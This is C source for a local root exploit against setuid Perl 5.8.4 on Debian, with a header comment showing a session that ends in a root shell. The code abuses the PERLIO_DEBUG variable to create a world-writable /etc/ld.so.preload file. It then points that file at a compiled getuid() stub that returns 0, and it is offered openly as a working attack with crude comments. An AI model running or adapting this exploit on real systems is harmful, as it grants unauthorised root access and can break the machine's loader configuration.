Setuid perl "PerlIO_Debug()" Arbitrary File Creation Exploit /*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>
int main(int *argc, char **argv)
{
FILE *getuid;
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" );
fclose(getuid);
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so
/tmp/getuid.c -lc");
putenv("PERLIO_DEBUG="PRELOAD);
umask(001); // I'm rw-rw-rw james bitch!
system("/usr/bin/sperl5.8.4");
FILE *ld_so_preload;
char preload[] = {
"/tmp/getuid.so\n"
};
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}